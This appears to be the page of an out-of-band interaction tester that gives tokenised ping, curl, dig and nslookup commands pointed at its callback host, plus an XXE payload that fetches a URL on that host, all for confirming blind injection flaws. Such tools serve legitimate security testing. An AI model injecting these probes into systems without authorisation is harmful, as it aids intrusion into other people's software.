$ ping -c1 -p 0032367a8580354a3ed7dbb71a252800 unhack.ca
 
$ curl http://unhack.ca/p/32367a8580354a3ed7dbb71a2528
 
$ dig 32367a8580354a3ed7dbb71a2528 @unhack.ca
 
$ dig 32367a8580354a3ed7dbb71a2528.ns.unhack.ca
 
C:\> nslookup 32367a8580354a3ed7dbb71a2528 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/32367a8580354a3ed7dbb71a2528">]>
    <foo>&xxe;</foo>
Waiting for ping...